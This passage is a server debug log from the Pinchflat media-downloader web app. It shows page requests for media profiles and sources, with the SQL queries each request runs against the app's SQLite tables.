s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:20:28.142 [debug] QUERY OK source="settings" db=0.1ms idle=79.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:28.142 [debug] QUERY OK source="settings" db=0.1ms idle=79.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:28.142 [debug] QUERY OK source="settings" db=0.0ms idle=80.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:28.144 [info] Sent 200 in 4ms 22:20:28.871 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:29.217 [info] GET /media_profiles/1/ 22:20:29.217 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:20:29.217 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1075.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:29.217 [debug] QUERY OK source="sources" db=0.2ms idle=1075.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:20:29.218 [debug] QUERY OK source="settings" db=0.0ms idle=1075.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:29.218 [debug] QUERY OK source="settings" db=0.0ms idle=502.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:29.218 [debug] QUERY OK source="settings" db=0.2ms idle=347.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:29.219 [info] Sent 200 in 2ms 22:20:30.182 [info] GET /media_profiles/new 22:20:30.182 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 22:20:30.182 [debug] QUERY OK source="settings" db=0.1ms idle=964.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:30.183 [debug] QUERY OK source="settings" db=0.0ms idle=964.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:30.183 [debug] QUERY OK source="settings" db=0.0ms idle=964.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:30.183 [debug] QUERY OK source="settings" db=0.0ms idle=964.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:30.184 [debug] QUERY OK source="settings" db=0.0ms idle=466.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:30.185 [info] Sent 200 in 3ms 22:20:31.062 [info] GET /sources/new 22:20:31.062 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 22:20:31.063 [debug] QUERY OK source="media_profiles" db=0.1ms idle=879.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:20:31.063 [debug] QUERY OK source="settings" db=0.0ms idle=879.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:31.063 [debug] QUERY OK source="settings" db=0.1ms idle=879.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:31.064 [debug] QUERY OK source="settings" db=0.0ms idle=879.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:31.064 [debug] QUERY OK source="settings" db=0.0ms idle=344.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:31.064 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:31.067 [info] Sent 200 in 4ms 22:20:31.860 [info] GET /sources/1/ 22:20:31.860 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:20:31.861 [debug] QUERY OK source="sources" db=0.2ms idle=797.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:31.861 [debug] QUERY OK source="media_profiles" db=0.1ms idle=797.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:31.862 [debug] QUERY OK source="tasks" db=0.1ms idle=797.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:20:31.862 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=797.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [114] 22:20:31.862 [debug] QUERY OK source="settings" db=0.0ms idle=141.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:31.863 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:31.863 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:31.865 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:31.865 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:20:31.866 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:31.867 [debug] QUERY OK source="sources" db=0.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:31.867 [debug] QUERY OK source="media_items" db=0.1ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:20:31.868 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:31.869 [debug] QUERY OK source="sources" db=0.0ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:31.869 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:20:31.869 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:31.870 [info] Sent 200 in 9ms 22:20:32.560 [info] GET /sources/2/ 22:20:32.560 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:20:32.560 [debug] QUERY OK source="sources" db=0.1ms idle=692.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:32.561 [debug] QUERY OK source="media_profiles" db=0.1ms idle=692.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:32.561 [debug] QUERY OK source="tasks" db=0.1ms idle=692.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 22:20:32.561 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=692.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [85] 22:20:32.562 [debug] QUERY OK source="settings" db=0.1ms idle=692.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.562 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.562 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:32.563 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:32.564 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 22:20:32.564 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:32.565 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:32.565 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 22:20:32.565 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 22:20:32.566 [debug] QUERY OK source="sources" db=0.3ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:32.567 [debug] QUERY OK 